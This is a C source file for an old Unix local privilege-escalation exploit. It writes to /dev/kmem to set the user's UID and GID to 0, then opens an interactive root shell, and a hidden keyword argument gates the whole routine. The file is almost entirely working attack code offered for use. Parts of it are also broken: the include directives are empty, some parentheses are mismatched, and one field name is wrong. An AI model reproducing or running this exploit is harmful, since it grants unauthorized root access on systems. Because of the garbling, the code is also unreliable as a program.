/* If /kmem is is readable and writable, this program will change the user's 
UID and GID to 0.  */
/* This code originally appeared in "UNIX security:  A practical tutorial" 
with some modifications by daemon9@netcom.com */

#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define KEYWORD "nomenclature1"

struct user userpage;
long address(), userlocation;

int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{

        int count, fd;
        long where, lseek();
        
        if(argv[1]){            /* we've got an argument, is it the keyword? */
                if(!(strcmp(KEYWORD,argv[1]))){
                        fd=(open("/dev/kmem",O_RDWR);

                        if(fd<0){
                                printf("Cannot read or write to /dev/kmem\n");
                                perror(argv);
                                exit(10);       
                        }
                                
                        userlocation=address();
                        where=(lseek(fd,userlocation,0);
        
                        if(where!=userlocation){
                                printf("Cannot seek to user page\n");
                                perror(argv);
                                exit(20); 
                        }

                        count=read(fd,&userpage,sizeof(struct user));
        
                        if(count!=sizeof(struct user)){
                                printf("Cannot read user page\n");
                                perror(argv);
                                exit(30);
                        }       

                        printf("Current UID: %d\n",userpage.u_ruid);
                        printf("Current GID: %d\n",userpage.g_ruid);
                        
                        userpage.u_ruid=0;
                        userpage.u_rgid=0;
                        
                        where=lseek(fd,userlocation,0);

                        if(where!=userlocation){        
                                printf("Cannot seek to user page\n");
                                perror(argv);
                                exit(40); 
                        }
                        
                        write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));
                        
                        execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
                }
        } 

} /* End main */

#include 
#include 
#include 

#define LNULL ((LDFILE *)0)

long address(){
        
        LDFILE *object;
        SYMENT symbol;
        long idx=0;

        object=ldopen("/unix",LNULL);

        if(!object){
                fprintf(stderr,"Cannot open /unix.\n");
                exit(50);
        }

        for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
                if(!strcmp("_u",ldgetname(object,&symbol))){
                        fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
                        ldclose(object);
                        return(symbol.n_value);
                }
        }

        fprintf(stderr,"Cannot read symbol table in /unix.\n");
        exit(60);
}